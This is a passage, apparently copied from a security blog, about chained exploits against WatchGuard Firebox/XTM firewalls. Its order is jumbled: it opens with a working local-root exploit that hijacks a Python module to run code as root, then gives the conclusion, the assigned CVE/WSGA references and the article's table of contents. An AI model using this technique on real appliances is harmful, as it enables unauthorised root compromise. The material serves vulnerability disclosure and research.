#!/usr/bin/python

#
# Diagnostic Snapshot Generator
#
# This script runs when a fault triggers through the Fault Reporting System.
# 

import subprocess
import glob

That's an easy local root: create a fake package with the name subprocess or glob, and make the program load it instead.

$ mkdir /tmp/own
$ cd /tmp/own
$ cat <<EOF > glob.py
import subprocess, os
os.setuid(0)
os.setgid(0)
subprocess.Popen(("/bin/ash", "-c", "id > /tmp/proof"))
exit()
EOF
$ PYTHONPATH=. fault_rep -r 'a' -c1 -v
$ cat /tmp/proof
uid=0(root) gid=0(admin) groups=99(nobody)

The bug got assigned WSGA-2022-00018.

Conclusion

After finding 5 different vulnerabilities, and building 8 exploits, we finally had it: a pre-auth remote code execution as root on any Firebox/XTM appliance. Overall, this took more time than it should have, but it was a fun ride!

Again, here are the different CVEs and WSGA references for the bugs:

Xpath time-based injection in wgcgi: CVE-2022-31790, WSGA-2022-00017

Source :- https://tutorialboy24.blogspot.com/2022/09/the-blind-exploits-to-rule-watchguard.html

The Blind Exploits To Rule Watchguard Firewalls Vulnerabilities

Table of contents

Preface

Introduction

Initial foothold

Attack surface

XML-RPC parsing

Vulnerability #1: Blind alphanumeric .bss overflow

Primitive

Exploitation

Testing the target

Vulnerability #2: Time-based XPath injection

Primitive

Exploitation

Testing the target

Vulnerability #3: Integer overflow leading to heap overflow / UAF

Int overflow

Primitives

Standard attacks on mmapped chunks and "House of Muney"

Growing Chunks Problems

Exploit #3.1: UAF, chunk overlap, and tcache

Taking a step back

Vulnerability #4: Post-authentication root shell

Exploit #3.2: Legacy addressing

The big reveal: Attacking XTM boxes

Exploit #3.3: House of Muney

Exploit #3.4: House of Muney, with a twist

Vulnerability #5: Nobody to Root Privilege Escalation

Conclusion